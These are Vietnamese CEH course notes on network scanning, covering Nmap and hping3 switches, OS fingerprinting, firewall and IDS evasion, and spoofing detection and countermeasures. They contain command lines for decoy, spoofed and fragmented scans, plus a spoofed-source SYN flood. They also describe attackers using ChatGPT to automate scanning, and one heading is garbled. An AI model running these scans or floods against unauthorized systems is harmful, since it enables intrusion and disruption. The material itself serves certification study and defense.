-sU (UDP scan)	Không phản hồi (hoặc trả về dữ liệu UDP)	ICMP port unreachable (type 3, code 3)	ICMP unreachable lỗi khác (code 1, 2, 9, 10, 13) / Không phản hồi		
-sN (NULL scan)	Không phản hồi	RST / ACK	ICMP unreachable		
-sF (FIN scan)	Không phản hồi	RST / ACK	ICMP unreachable		

Loại quét (Flag)	Cổng Mở (Open)	Cổng Đóng (Closed)	Bị lọc (Filtered / Firewall)	Không bị lọc (Unfiltered)	Tham chiếu
-sX (XMAS scan)	Không phản hồi	RST / ACK	ICMP unreachable		
-sM (TCP Maimon)	Không phản hồi (gói tin bị drop)	RST	ICMP unreachable		

---

2. Các kiểu quét Nmap (Nmap Scan Types)

Switch	Mô tả (Description)
-sA	ACK flag probe scan (Kiểm tra tường lửa stateful).
-sF	FIN scan (Gửi cờ FIN, né IDS trên hệ thống UNIX).
-sI	IDLE (Zombie) scan (Quét ẩn danh qua máy trung gian).
-sL	List scan (Chỉ liệt kê IP/Name qua reverse DNS, không ping).
-sN	NULL scan (Không bật cờ TCP nào).
-sn	Ping Sweep / Disable port scan (Chỉ phát hiện host, thay thế cho lệnh `-sP` cũ).
-sS	SYN (Stealth / Half-open) scan.
-sT	TCP Connect / Full Open scan.
-sU	UDP scan.
-sW	Window-based ACK flag probe scan.
-sX	XMAS scan (Bật cờ FIN, URG, PSH).
-sY	SCTP INIT scan.
-sZ	SCTP COOKIE ECHO scan.

(Lưu ý ngoài nguồn: `-sO` (Protocol scan) và `-sR` (RPC scan) là các lệnh chuẩn của Nmap, nhưng không được giải thích chi tiết dưới dạng switch trong tài liệu Module 03 này).

---

3. Phát hiện Host / Các kiểu Ping (Host Discovery / Ping Types)

Switch	Mô tả (Description)
-PE	ICMP Echo ping (Thay thế cho `-PI` ở các bản cũ).
-PS	TCP SYN ping (Mặc định cổng 80).
-PA	TCP ACK ping (Thay thế cho `-PT` ở bản cũ).
-PO	IP Protocol ping (Gửi đa giao thức: ICMP, IGMP, IP-in-IP).
-PU	UDP ping scan (Mặc định cổng 40125).
-PP	ICMP Timestamp ping.
-PM	ICMP Address Mask ping.
-PR	ARP Ping scan (Dùng cho mạng LAN nội bộ IPv4).

---

4. Tùy chọn xuất file & Mẫu thời gian (Output Options & Timing)

Output Options (Tùy chọn xuất file):

- **`-oN`**: Xuất ra file văn bản chuẩn (Normal text output).
- **`-oG`**: Xuất ra định dạng Grepable (Dễ dàng lọc bằng lệnh awk/grep).
- **`-oX`**: Xuất ra định dạng XML.
- **`-oA`**: Xuất ra cả 3 định dạng trên cùng lúc.

Timing Templates (Tốc độ quét): Tài liệu nhắc đến tùy chọn `-T` để chỉnh mức độ quyết liệt của thời gian quét từ cao xuống thấp nhằm vượt qua các mạng bị lọc gắt gao. Cụ thể, lệnh `-T4` được giải thích là "aggressive" (mạnh/nhanh) giúp tăng tốc độ và hiệu suất quét. *(Lưu ý ngoài nguồn: Các mô tả chi tiết T0 (Paranoid), T1 (Sneaky), T2 (Polite), T3 (Normal), T4 (Aggressive), T5 (Insane) là chuẩn của phần mềm Nmap, nhưng không được liệt kê thành bảng định nghĩa trong giáo trình này).*

Các kỹ thuật giảm thời gian quét Nmap (Nmap Scan Time Reduction Techniques) (Trang 355-356)

- **Bỏ qua các bài kiểm tra không quan trọng (Omit Non-critical Tests):** Tránh quét chuyên sâu (`-sC`, `-sV`, `-O`, `--traceroute`) nếu không cần thiết; Tắt phân giải DNS (`-n`) để tiết kiệm thời gian.
- **Tối ưu hóa tham số thời gian (Optimize Timing Parameters):** Sử dụng các tùy chọn `-T` (T0 đến T5) để điều chỉnh mức độ quyết liệt của thời gian.
- **Tách biệt và tối ưu hóa quét UDP (Separate and Optimize UDP Scans):** Quét TCP và UDP riêng biệt vì UDP chậm hơn nhiều và chịu ảnh hưởng nặng bởi giới hạn tỷ lệ lỗi ICMP (ICMP error rate-limiting).
- **Thực thi đồng thời nhiều phiên bản Nmap (Execute Concurrent Nmap Instances):** Chia nhỏ dải mạng lớn thành nhiều nhóm và chạy Nmap song song để tăng tốc độ tổng thể.
- **Quét từ vị trí mạng thuận lợi (Scan from a Favorable Network Location):** Quét từ bên trong mạng cục bộ (nếu có thể) để bỏ qua độ trễ do rà quét qua tường lửa ngoại vi.
- **Tăng băng thông và sức mạnh CPU (Increase Available Bandwidth and CPU Time).**
  - *(Chi tiết các Kỹ thuật giảm thời gian quét Nmap - Nmap Scan Time Reduction Techniques)*:
    - **Bỏ qua các bài kiểm tra không quan trọng (Omit Non-critical Tests):** Tránh quét chuyên sâu nếu chỉ cần thông tin tối thiểu. Giới hạn số lượng cổng quét, bỏ qua ping sweep (-sn) nếu đã biết chắc host đang online. Tránh các loại quét nâng cao (-sC, -sV, -O, –traceroute). Tắt phân giải DNS (dùng -n).
    - **Tối ưu hóa tham số thời gian (Optimize Timing Parameters):** Điều chỉnh -T từ cao xuống thấp để quét nhanh các mạng bị lọc mạnh.
    - **Tách biệt và tối ưu hóa quét UDP:** Nhiều dịch vụ dễ tổn thương dùng UDP nên cần phải quét, nhưng UDP bị ảnh hưởng nặng nề bởi giới hạn tỷ lệ lỗi ICMP, do đó phải quét riêng biệt với TCP.
    - **Nâng cấp Nmap:** Luôn dùng phiên bản nâng cấp vì chứa nhiều bản sửa lỗi và thuật toán tối ưu.
    - **Chạy các phiên bản Nmap song song (Concurrent Instances):** Chia hệ thống thành nhiều nhóm nhỏ và quét đồng thời.
    - **Quét từ vị trí mạng thuận lợi:** Quét từ bên trong mạng nội bộ (nếu có thể) để bỏ qua độ trễ do rà quét qua tường lửa ngoại vi (defense-in-depth). Quét ngoại vi chỉ bắt buộc khi cần kiểm tra tường lửa.

* **Tăng băng thông và sức mạnh CPU:** Nmap tự có thuật toán kiểm soát tắc nghẽn để tránh flood mạng, nên băng thông/CPU càng cao quét càng nhanh.

---

5. Hping3 Scan & Mode Switches

Hping3 là công cụ tạo gói tin và quét mạng qua giao diện dòng lệnh.

- **`-1`** (ICMP mode): ICMP ping. Ví dụ: `hping3 -1 10.0.0.25`
- **`-2`** (UDP mode): Quét UDP. Ví dụ: `hping3 -2 10.0.0.25 -p 80`
- **`-8`** (Scan mode): Quét một dải cổng. Ví dụ: `hping3 -8 50-60 -S 10.0.0.25 -V`
- **`-9`** (Listen mode): Lắng nghe lưu lượng theo chữ ký (signature). Ví dụ: `hping3 -9 HTTP -I eth0`
- **`--flood`**: Gửi gói tin nhanh nhất có thể (không hiển thị trả lời), thường dùng để mô phỏng DoS/SYN Flood. Ví dụ: `hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood`
- **`-Q`**: Thu thập sequence number TCP (TCP ISN) để phân tích. Ví dụ: `hping3 192.168.1.103 -Q -p 139`

Hping3 TCP Flag Switches (Cờ TCP):

- **`-F`**: Set FIN flag.
- **`-S`**: Set SYN flag.
- **`-R`**: Set RST flag. *(Ngoài nguồn: Chuẩn của hping3 nhưng không ghi chú trong text này)*
- **`-P`**: Set PSH flag.
- **`-A`**: Set ACK flag.
- **`-U`**: Set URG flag.
- **`-X`**: Set Xmas flags. *(Ngoài nguồn: Hping3 sử dụng `-F -P -U` kết hợp để quét Xmas, thay vì dùng 1 switch `-X`. Ví dụ trong nguồn: `hping3 -F -P -U 10.0.0.25 -p 80`)*

---

6. Phát hiện OS và Banner Grabbing (OS Discovery & Service Version)

- **Phát hiện phiên bản dịch vụ (Service version discovery):** Dùng lệnh `nmap -sV`. Kỹ thuật này truy vấn cơ sở dữ liệu `nmap-service-probes` để nhận diện các dịch vụ và phiên bản ứng dụng đang chạy.
- **Banner grabbing chủ động (Active banner grabbing):** Gửi các gói tin TCP thiết kế đặc biệt tới đích và so sánh phản hồi với cơ sở dữ liệu để tìm ra hệ điều hành.
- **Phát hiện OS bằng TTL và TCP Window Size:** Bằng cách bắt gói tin phản hồi đầu tiên (qua Wireshark), ta có thể xác định hệ điều hành dựa vào giá trị TTL:
  - **Linux:** 64 (Window size: 5840)
  - **FreeBSD:** 64 (Window size: 65535)
  - **OpenBSD:** 255 (Window size: 16384)
  - **Windows:** 128 (Window size: 65,535 bytes to 1 Gigabyte)
  - **Cisco Routers:** 255 (Window size: 4128)
  - **Solaris:** 255 (Window size: 8760)

  - **AIX:** 255 (Window size: 16384)

- **Phát hiện OS với Nmap:** Sử dụng lệnh `nmap -O`.
- **Sử dụng Nmap Scripting Engine (NSE) cho OS:** Bật bằng tùy chọn `-sC` hoặc `--script`. Ví dụ sử dụng giao thức SMB: `nmap --script smb-os-discovery.nse 10.10.1.22`.
- **OS Discovery bằng Unicornscan:** Có thể xác định hệ điều hành của máy mục tiêu bằng cách quan sát giá trị TTL trong kết quả quét. Cú pháp: `#unicornscan <target IP address>`. Ví dụ: Nếu giá trị ttl thu được sau khi quét là 128, hệ điều hành có khả năng cao là Microsoft Windows.
- **IPv6 Fingerprinting:** Quét OS trên nền mạng IPv6 dùng lệnh: `nmap -6 -O <target>`.
- **Active Banner Grabbing (Bắt cờ chủ động):** Gửi các gói TCP được thiết kế đặc biệt (malformed packets) đến host mục tiêu. Vì mỗi hệ điều hành (OS) có cách triển khai ngăn xếp TCP/IP khác nhau, phản hồi nhận được (như ISN, cờ TCP) sẽ là duy nhất, giúp xác định OS.
  - **Test 1:** Gửi gói TCP với cờ SYN và ECN-Echo được bật tới một cổng TCP mở.
  - **Test 2:** Gửi gói TCP không có cờ nào được bật (gói NULL) tới một cổng TCP mở.
  - **Test 3:** Gửi gói TCP với các cờ URG, PSH, SYN và FIN được bật tới một cổng TCP mở.
  - **Test 4:** Gửi gói TCP với cờ ACK được bật tới một cổng TCP mở.
  - **Test 5:** Gửi gói TCP với cờ SYN được bật tới một cổng TCP đóng.
  - **Test 6:** Gửi gói TCP với cờ ACK được bật tới một cổng TCP đóng.
  - **Test 7:** Gửi gói TCP với các cờ URG, PSH và FIN được bật tới một cổng TCP đóng.
  - **Test 8 PU (Port Unreachable):** Gửi một gói UDP tới một cổng UDP đóng. Mục tiêu là trích xuất thông báo "ICMP port unreachable" từ máy đích.
  - **Test 9 TSeq (TCP Sequence ability test):** Gửi sáu gói TCP với cờ SYN được bật tới một cổng TCP mở. Thử nghiệm này nhằm xác định các mẫu tạo chuỗi của số thứ tự khởi tạo TCP (TCP ISN), số định danh IP (IPID) và dấu thời gian TCP.
- **Passive Banner Grabbing (Bắt cờ thụ động):** Kẻ tấn công không gửi trực tiếp gói tin dò tìm, mà dùng công cụ đánh hơi (sniffing) để bắt các gói tin đang truyền. Bốn khu vực trong gói tin giúp xác định OS gồm: TTL (Time To Live), Window Size, DF (Don't Fragment) bit, và TOS (Type of Service).
  - **Banner grabbing từ thông báo lỗi (Error messages):** Cung cấp thông tin như loại máy chủ, loại OS và các công cụ SSL được máy chủ từ xa sử dụng.
  - **Đánh hơi lưu lượng mạng (Sniffing the network traffic):** Bắt và phân tích các gói tin từ mục tiêu giúp kẻ tấn công xác định OS được sử dụng.
  - **Banner grabbing từ phần mở rộng trang (Page extensions):** Tìm kiếm phần mở rộng trong URL để hỗ trợ xác định phiên bản ứng dụng (Ví dụ: `.aspx` cho thấy hệ thống dùng máy chủ IIS và nền tảng Windows).
  - *(Chi tiết OS Discovery / Banner Grabbing)*: Có hai phương pháp để lấy banner (banner grabbing): Thứ nhất, phát hiện banner ngay khi cố gắng kết nối tới dịch vụ (như máy chủ FTP). Thứ hai, tải xuống tệp nhị phân file/bin/ls để kiểm tra kiến trúc hệ thống. Một kỹ thuật nâng cao khác phụ thuộc vào "stack querying" (truy vấn ngăn xếp), phân tích phản hồi đối với các yêu cầu kết nối TCP. Ngoài ra, phân tích Số thứ tự ban đầu (ISN - Initial sequence number) sẽ tìm ra các điểm khác biệt trong bộ tạo số ngẫu nhiên của ngăn xếp TCP.
  - *(Chi tiết Active Banner Grabbing)*: Dựa trên nguyên lý mỗi ngăn xếp IP của OS có một cách độc nhất để phản hồi với các gói TCP được thiết kế đặc biệt (do cách vendor triển khai TCP/IP khác nhau). Các mẫu

số thứ tự có thể được nhóm lại thành: 64K truyền thống (nhiều hệ thống UNIX cũ), tăng ngẫu nhiên (Solaris mới, IRIX, FreeBSD), hoặc ngẫu nhiên thực sự (Linux 2.0.*, OpenVMS). Windows sử dụng mô hình "phụ thuộc thời gian" trong đó ISN được tăng một lượng cố định.

  - *(Chi tiết Passive Banner Grabbing)*: Kỹ thuật này không chỉ giới hạn ở 4 vùng cơ bản (TTL, Window Size, DF, TOS). TTL cung cấp dấu vết (ví dụ: máy đích Linux có TTL ban đầu là 64, nếu bắt được gói TTL 45, nghĩa là gói đã đi qua 19 hops, điều này có thể chứng minh bằng cách dùng traceroute). Kích thước Window (Window Size) của FreeBSD và Solaris có xu hướng duy trì ổn định trong suốt phiên, nhưng Cisco routers và Windows NT lại thay đổi liên tục. Bit DF hữu ích để nhận dạng số ít các hệ thống không sử dụng cờ DF (như SCO hoặc OpenBSD). TOS thường mang tính ứng dụng/phiên kết nối hơn là đặc trưng cho OS. Passive fingerprinting giúp kẻ tấn công (ví dụ: người dùng yêu cầu trang web và phân tích dấu vết sniffer) ẩn danh hoàn toàn, vượt qua các công cụ IDS và giúp xác định cả tường lửa proxy từ xa (do proxy tự thiết lập lại kết nối).

- **OS Discovery bằng IPv6 Fingerprinting:** Nmap sử dụng công cụ phát hiện OS riêng biệt cho IPv6 bằng cách gửi khoảng 18 probes (như Sequence generation, ICMPv6 echo, Node Information Query, Neighbor Solicitation...) để lấy dấu vân tay IPv6.
  - *(Các kỹ thuật khác):*
    - **IPv6 Fingerprinting:** Tương tự như IPv4, nhưng IPv6 có công cụ nhận diện OS riêng biệt. Nmap sẽ gửi gần 18 gói thăm dò (probes) theo trình tự sau để xác định OS: Sequence generation (S1–S6), ICMPv6 echo (IE1), ICMPv6 echo (IE2), Node Information Query (NI), Neighbor Solicitation (NS), UDP (U1), TCP explicit congestion notification (TECN), TCP (T2–T7).
- **Khám phá OS và Service Version bằng AI (AI-powered Discovery):** Kẻ tấn công dùng ChatGPT để tự động hóa trích xuất OS, MAC và Service Version.
  - *Ví dụ Prompt:* `"Use Nmap to scan open ports, MAC details, services running on open ports with their versions on target IP 10.10.1.11"` -> AI xuất lệnh: `nmap -sV --reason -v -sT 10.10.1.11`.
- **Tự động hóa toàn bộ bằng Custom Script và AI:** Kẻ tấn công yêu cầu ChatGPT viết Bash Script tự động hóa toàn bộ quy trình (Host discovery -> Port scan -> Service/OS detection). Ví dụ lệnh chuỗi: `nmap -sP 10.10.1.0/24 -oG - | awk ... > live_hosts.txt && nmap -iL live_hosts.txt -sV -oA scan_results` (Trang 358-360, 368-377).

---

7. Quét vượt qua tường lửa (Scanning beyond firewall)

Mặc dù IDS/Tường lửa ngăn chặn các lưu lượng độc hại, kẻ tấn công có 11 kỹ thuật để lẩn tránh và quét mạng thành công:

1. **Packet Fragmentation (Phân mảnh gói tin):** Chia nhỏ IP header để bộ lọc không đọc được toàn bộ ý đồ. Nmap sử dụng lệnh: `nmap -sS -T4 -A -f -v <target>`.
2. **Source Routing:** Chỉ định đường đi lỏng lẻo hoặc nghiêm ngặt cho gói tin qua các router cụ thể để né các node chứa tường lửa.
3. **Source Port Manipulation (Thao túng cổng nguồn):** Lợi dụng việc tường lửa thường cấu hình cho phép dữ liệu từ các cổng quen thuộc (như port 80, 53, 20). Nmap dùng tùy chọn `-g` hoặc `--source-port`.
4. **IP Address Decoy (Mồi nhử IP):** Tạo ra hàng loạt IP giả mạo quét cùng lúc với IP thật để làm nhiễu log tường lửa. Lệnh Nmap: `nmap -D RND:10 <target>` hoặc chỉ định IP cụ thể.

- Có thể sử dụng tùy chọn `ME` để định vị trí IP thật của bạn trong danh sách các IP mồi nhử. Ví dụ: `nmap -D decoy1,decoy2,ME... [target]`. Lệnh này đặt IP thật ở vị trí thứ 3. Nếu không chỉ định `ME`, Nmap sẽ tự động chèn IP thật của bạn vào một vị trí ngẫu nhiên bất kỳ.

5. **IP Address Spoofing (Giả mạo địa chỉ IP):** Thay đổi địa chỉ IP nguồn để có vẻ như gói tin đến từ một người dùng hợp pháp khác. Hping3 được dùng bằng lệnh: `hping3 www.certifiedhacker.com -a 7.7.7.7`.
6. **MAC Address Spoofing (Giả mạo địa chỉ MAC):** Thay đổi địa chỉ MAC để vượt qua các tường lửa lọc MAC nội bộ. Lệnh Nmap: `nmap -sT -Pn --spoof-mac 0 <target>`.
   - Để giả mạo địa chỉ MAC theo một nhà cung cấp cụ thể, sử dụng lệnh: `nmap -sT -Pn --spoof-mac [Vendor] [Target IP]`.
7. **Creating Custom Packets (Tạo gói tin tùy chỉnh):** Sử dụng các công cụ như Colasoft Packet Builder hoặc NetScanTools Pro để tạo các gói tin ở cấp độ mã Hex/ASCII né chữ ký IDS.
   - **Ví dụ công cụ Colasoft Packet Builder có 3 giao diện hiển thị chính để thao tác:**
     - *Packet List:* Hiển thị danh sách tất cả các gói tin đã được tạo lập.
     - *Hex Editor:* Trình bày dữ liệu gói tin dưới dạng giá trị thập lục phân (hexadecimal) và ký tự ASCII để cho phép chỉnh sửa.
     - *Decode Editor:* Cho phép chỉnh sửa các trường của gói tin (như length, byte order, offsets) trực tiếp qua các hộp thoại mà không cần nhớ vị trí hệ hex.
8. **Randomizing Host Order (Ngẫu nhiên hóa thứ tự Host):** Quét hàng ngàn IP theo một trật tự xáo trộn (thay vì tuần tự) để hệ thống giám sát không phát hiện ra mẫu quét. Lệnh: `nmap --randomize-hosts <target>`.
9. **Sending Bad Checksums (Gửi Checksum lỗi):** Gửi gói tin có checksum TCP/UDP sai. Nếu nhận được phản hồi, chứng tỏ IDS/Firewall đã bỏ qua việc kiểm tra tính toàn vẹn. Lệnh Nmap: `nmap --badsum <target>`.
10. **Proxy Servers:** Định tuyến lưu lượng qua các máy chủ trung gian để ẩn giấu IP thực sự của kẻ tấn công hoặc kết hợp Proxy Chaining (chuỗi proxy).
    - **Tại sao Kẻ tấn công sử dụng Proxy Servers?**
      - Che giấu nguồn thực sự của một cuộc rà quét và né tránh các hạn chế của IDS/firewall.
      - Che giấu địa chỉ IP nguồn để có thể hack mà không bị truy vết pháp lý.
      - Che giấu nguồn gốc thực sự của cuộc tấn công bằng cách mạo danh địa chỉ nguồn giả của proxy.
      - Truy cập từ xa vào mạng nội bộ (intranets) và các tài nguyên trang web thường bị giới hạn.
      - Đánh chặn tất cả các yêu cầu do một người dùng gửi và truyền chúng đến một đích thứ ba; do đó, nạn nhân sẽ chỉ có thể xác định được địa chỉ của máy chủ proxy.
      - Kết nối chuỗi nhiều máy chủ proxy để tránh bị phát hiện.
11. **Anonymizers:** Sử dụng các dịch vụ và phần mềm ẩn danh (VPN, Whonix, Tails, Psiphon, Tor) để mã hóa toàn bộ dữ liệu vượt qua hệ thống kiểm duyệt.

- **Các kỹ thuật kiểm tra và vượt qua tường lửa chuyên sâu (Trang 399-407):**
  - **Proxy Chaining (Chuỗi proxy):** Người dùng yêu cầu kết nối đi qua nhiều máy chủ proxy liên tiếp. Mỗi máy chủ sẽ tước bỏ thông tin định danh của người dùng trước khi chuyển cho proxy tiếp theo, khiến việc truy vết (traffic analysis) cực kỳ phức tạp.
  - **Công cụ Proxy (Proxy Tools):** Proxy Switcher, CyberGhost VPN, Burp Suite, Tor, Hotspot Shield, Proxifier, IPRoyal.

- **Lý do sử dụng Anonymizers (Why Use an Anonymizer?):**
  * Đảm bảo quyền riêng tư bằng cách ẩn danh hoạt động lướt web.
  * Truy cập các nội dung/website bị chính phủ giới hạn.
  * Bảo vệ người dùng khỏi các cuộc tấn công trực tuyến (như pharming) bằng cách định tuyến lưu lượng qua máy chủ DNS được bảo vệ.
  * Vượt qua các quy tắc kiểm duyệt của IDS và tường lửa.
- **Phân loại Anonymizers:**
  * *Networked Anonymizers:* Chuyển thông tin qua một mạng lưới gồm nhiều máy tính trung gian. Ưu điểm là làm cho việc phân tích lưu lượng trở nên phức tạp. Nhược điểm là có nguy cơ xâm phạm bảo mật ở từng node.
  * *Single-Point Anonymizers:* Chuyển thông tin qua một website/server duy nhất. Ưu điểm là ẩn được địa chỉ IP trực tiếp. Nhược điểm là khả năng chống lại phân tích lưu lượng tinh vi kém hơn.
- **Một số công cụ ẩn danh và vượt kiểm duyệt nổi bật (Censorship Circumvention Tools):**
  * **Whonix:** Hệ điều hành desktop chạy trên máy ảo (Debian base), tự động định tuyến toàn bộ kết nối qua mạng Tor để ẩn danh và cung cấp lớp bảo vệ vững chắc chống rò rỉ IP/malware.
  * **AstrillVPN:** Phần mềm VPN giúp vượt kiểm duyệt Internet, truy cập các ứng dụng bị chặn theo vị trí địa lý, mã hóa dữ liệu mà không lưu nhật ký truy cập (logging).
  * **Tails:** Hệ điều hành Live OS chạy từ thẻ USB/SD. Cung cấp các công cụ mật mã hiện đại để mã hóa tệp, email và IM, lướt web ẩn danh hoàn toàn qua Tor và không để lại dấu vết trên máy tính sau khi tắt.

8. Kỹ thuật phát hiện IP Spoofing (IP Spoofing Detection Techniques) (Trang 414 - 417)

- **Thăm dò TTL trực tiếp (Direct TTL Probes):** Gửi một gói tin đến host bị nghi ngờ là IP giả mạo và so sánh TTL trả về với TTL của gói tin đang kiểm tra. Nếu không khớp hoặc thuộc giao thức khác, kẻ tấn công có thể đã giả mạo IP (Kỹ thuật này thành công khi kẻ tấn công và nạn nhân khác Subnet).
- **Dựa vào số định danh IP (IP Identification Number - IPID):** Người phòng thủ gửi gói probe đến source IP nghi ngờ và quan sát số IPID trả về. Vì IPID tăng dần theo mỗi gói tin được phát đi, nếu gói tin là hợp pháp, IPID phản hồi sẽ phải rất gần (lớn hơn một chút) so với IPID của gói đang kiểm tra. Nếu giá trị không sát nhau, tức là địa chỉ IP nguồn đã bị giả mạo. Phương pháp này hoạt động hiệu quả ngay cả khi hacker và mục tiêu ở cùng một Subnet.
- **Phương pháp kiểm soát luồng TCP (TCP Flow Control Method):** Lợi dụng nguyên tắc cửa sổ trượt (sliding window) của giao thức TCP, trong đó người gửi phải ngừng truyền dữ liệu khi kích thước cửa sổ (window size) bằng 0.
  - Kẻ tấn công gửi gói TCP giả mạo sẽ không bao giờ nhận được phản hồi SYN-ACK (do phản hồi đi về máy chủ thực) và hoàn toàn không biết thông tin về window size.
  - Nếu mục tiêu thấy dữ liệu lưu lượng vẫn tiếp tục được gửi đến ngay cả khi kích thước cửa sổ đã cạn kiệt, các gói tin đó rất có thể bị giả mạo.
  - Áp dụng trong Handshake: Mục tiêu có thể cố tình phản hồi gói SYN-ACK với window size thiết lập bằng 0. Nếu người gửi hợp pháp, họ sẽ chờ; nhưng kẻ giả mạo (không nhận được SYN-ACK) vẫn sẽ gửi gói ACK kèm theo dữ liệu. Điều này lập tức tố cáo đó là IP giả mạo.

- **Banner Grabbing Countermeasures (Phòng chống bắt cờ):**d):\\ Lợi dụng kích thước cửa sổ trượt (sliding window). Kẻ tấn công gửi gói tin SYN giả mạo sẽ không nhận được SYN-ACK (vì gói này chạy về máy nạn nhân thật). Khi cửa sổ luồng (window size) đã hết, nếu dữ liệu vẫn tiếp tục được gửi tới, chứng tỏ gói tin đó là giả mạo.

9. Biện pháp phòng chống quét mạng (Network Scanning Countermeasures) (Trang 408 - 421)

- **Ping Sweep Countermeasures (Phòng chống Ping Sweep):**
  - Cấu hình Firewall/IDS/IPS (như Snort) để chặn các yêu cầu ICMP echo từ các nguồn lạ.
  - Sử dụng DMZ và chỉ cho phép các lệnh như ICMP ECHO_REPLY, HOST UNREACHABLE, và TIME EXCEEDED trong DMZ.
  - Giới hạn băng thông (Rate limiting) cho các gói ICMP; Giới hạn lưu lượng ICMP bằng ACL.
- **Port Scanning Countermeasures (Phòng chống quét cổng):**
  - Cấu hình IDS/Firewall phân tích sâu dữ liệu (Deep Packet Inspection) thay vì chỉ nhìn Header.
  - Đóng các cổng không sử dụng. Sử dụng rule set để chặn các port nguy hiểm (135–159, 445, 1080, v.v.).
  - Lọc bỏ inbound ICMP message types và outbound ICMP type-3.
  - Áp dụng "Port Knocking" để ẩn các cổng đang mở. Sử dụng IP ẩn qua NAT và VLAN.
- **Banner Grabbing Countermeasures (Phòng chống bắt cờ):**
  - Hiển thị Banner giả mạo (False banners) để lừa kẻ tấn công.
  - Sử dụng Server masking tools.
  - Tắt các header trả về không cần thiết. Trên Apache, đổi cấu hình trong `httpd.conf` (ví dụ: dùng module `mod_headers`, sửa `ServerTokens Prod`, `ServerSignature Off`).
  - Đánh lừa attacker bằng cách sửa giá trị `AlternateServerName`.
  - Ẩn/Sửa đuôi mở rộng file (`.asp` thành `.htm`) bằng các chỉ thị như `mod_negotiation` (Apache).
  - Sửa đổi giá trị **RemoveServerHeader** từ 0 thành 1 trong tệp cấu hình `UrlScan.ini` để ngăn việc tiết lộ phiên bản máy chủ.
  - Vô hiệu hóa các phương thức HTTP không sử dụng như Connect, Put, Delete, và Options trên các web application servers.
  - Xóa header `X-Powered-By` bằng cách sử dụng tùy chọn `customHeaders` trong phần `<system.webServer>` của tệp `web.config`.
  - Sử dụng Transport Layer Security (TLS) cho các dịch vụ để mã hóa thông tin banner trong quá trình bắt tay, gây khó khăn cho việc lấy cờ.
- **IP Spoofing Countermeasures (Phòng chống IP Spoofing):**
  - **Tránh các mối quan hệ tin cậy (Avoid Trust Relationships):** Không dựa vào xác thực bằng IP. Kẻ tấn công có thể giả mạo thành các host đáng tin cậy để gửi gói tin độc hại. Nên triển khai kiểm tra toàn bộ gói tin và thiết lập xác thực bằng mật khẩu đi kèm với xác thực dựa trên mối quan hệ tin cậy.
  - **Sử dụng Tường lửa và Cơ chế lọc (Use Firewalls and Filtering Mechanisms):** Lọc tất cả các gói tin đến và đi. Sử dụng Danh sách kiểm soát truy cập (ACLs) trên tường lửa để ngăn chặn các truy cập trái phép và rò rỉ thông tin nhạy cảm.

- Di chuyển từ IPv4 sang IPv6 và triển khai biến đổi địa chỉ IPv6 động (dynamic IPv6 address variation) bằng trình tạo địa chỉ ngẫu nhiên.
- Triển khai các cơ chế xác thực chứng chỉ số như xác thực chứng chỉ hai chiều (two-way auth certificate verification).
- Sử dụng các thiết bị giảm nhẹ rủi ro chuyên dụng cho ứng dụng, chẳng hạn như **Behemoth scrubbers** để kiểm tra gói tin sâu ở tốc độ cao (khoảng 100 triệu packets/s).
- Cấu hình router để xác minh các gói dữ liệu bằng chữ ký (lưu trữ data packet digests).
- Cấu hình switch nội bộ lập bảng địa chỉ DHCP tĩnh để lọc lưu lượng giả mạo độc hại.
- Tuyệt đối không sử dụng các cơ chế "Xác thực dựa trên IP" (IP-based authentication).
- Sử dụng Số thứ tự khởi tạo ngẫu nhiên (Random Initial Sequence Numbers - ISNs) để tránh hacker đoán được kết nối.
- *(Các biện pháp phòng chống Spoofing IP bổ sung)*:
  * Không tin cậy hệ thống xác thực dựa trên IP. Nếu gói tin được mặc định là "sạch" chỉ vì nó đến từ mạng được tin tưởng, mã độc sẽ dễ dàng lây nhiễm vào hệ thống. Giải pháp: Áp dụng xác thực mật khẩu kết hợp với xác thực mức độ tin cậy.
  * Nguy cơ từ chiều ra (Outgoing packets): Kẻ tấn công nội bộ (insider) có thể tuồn dữ liệu mật cho đối thủ. Hơn nữa, kẻ tấn công từ xa có thể cài cắm thành công các chương trình sniffing ẩn (hidden mode) trong mạng, tự động thu thập và gửi báo cáo ra ngoài mà tường lửa không báo động. Vậy nên việc lọc traffic đi ra (Egress) quan trọng không kém traffic đi vào (Ingress).
  * Sử dụng Số thứ tự khởi tạo ngẫu nhiên (Random ISNs): Do hầu hết các thiết bị cũ khởi tạo ISN dựa trên bộ đếm thời gian (timed counters), ISN có thể dễ dàng bị đoán trước. Hacker dựa vào ISN của phiên hiện tại để dự đoán ISN tiếp theo, từ đó thiết lập kết nối mã độc để đánh hơi traffic. Phải đảm bảo mọi ISN đều được sinh ngẫu nhiên hoàn toàn.
  * Sử dụng mã hóa mạnh (IPSec): IPSec là phương thức chống IP spoofing hiệu quả nhất vì nó cung cấp xác thực dữ liệu, tính toàn vẹn và tính bảo mật. Kẻ tấn công thường nhắm vào mục tiêu dễ xơi, nếu phải giải mã toàn bộ traffic được mã hóa bằng thuật toán mạnh, chúng sẽ bỏ cuộc và đi tìm mục tiêu khác.
- Thực hiện Ingress Filtering (Lọc đầu vào - chặn gói tin đi vào mạng có Source IP không hợp lệ) và Egress Filtering (Lọc đầu ra - chặn gói tin đi ra khỏi mạng mang Source IP không nằm trong mạng nội bộ).
- Sử dụng mã hóa mạnh (IPSec, TLS, SSH).

- **Công cụ phát hiện và phòng chống Scanning:** ExtraHop, Splunk Enterprise Security, Scanlogd, Vectra Detect, IBM Security QRadar XDR, Cynet 360 AutoXDR™.

(Ghi chú cuối: Các thông tin về phần mềm giả mạo mạng Scapy, Komodia, Ettercap, Cain, công cụ G-zapper xóa cookie, và khái niệm MIB info hoàn toàn không xuất hiện trong tài liệu Module 03 (Scanning Networks) được cung cấp. Chúng có thể nằm ở các Module chuyên về Sniffing (Module 08) hoặc Enumeration (Module 04) của giáo trình CEH).

CEHv13 - Module 04 - Enumeration

Thông tin thu thập được từ Enumeration (Information Enumerated by Intruders) (Trang 427)

Liệt kê (Enumeration) là quá trình trích xuất tên người dùng, tên máy, tài nguyên mạng, các chia sẻ và dịch vụ từ một hệ thống hoặc mạng. Trong giai đoạn liệt kê, kẻ tấn công tạo các kết nối tích cực (active connections) với hệ thống và gửi các truy vấn có định hướng để thu thập thêm thông tin về mục tiêu. Sau đó, kẻ tấn công sử dụng thông tin này để xác định các lỗ hổng bảo mật nhằm khai thác hệ thống, từ đó cho phép thực hiện các cuộc tấn công mật khẩu để giành quyền truy cập trái phép.

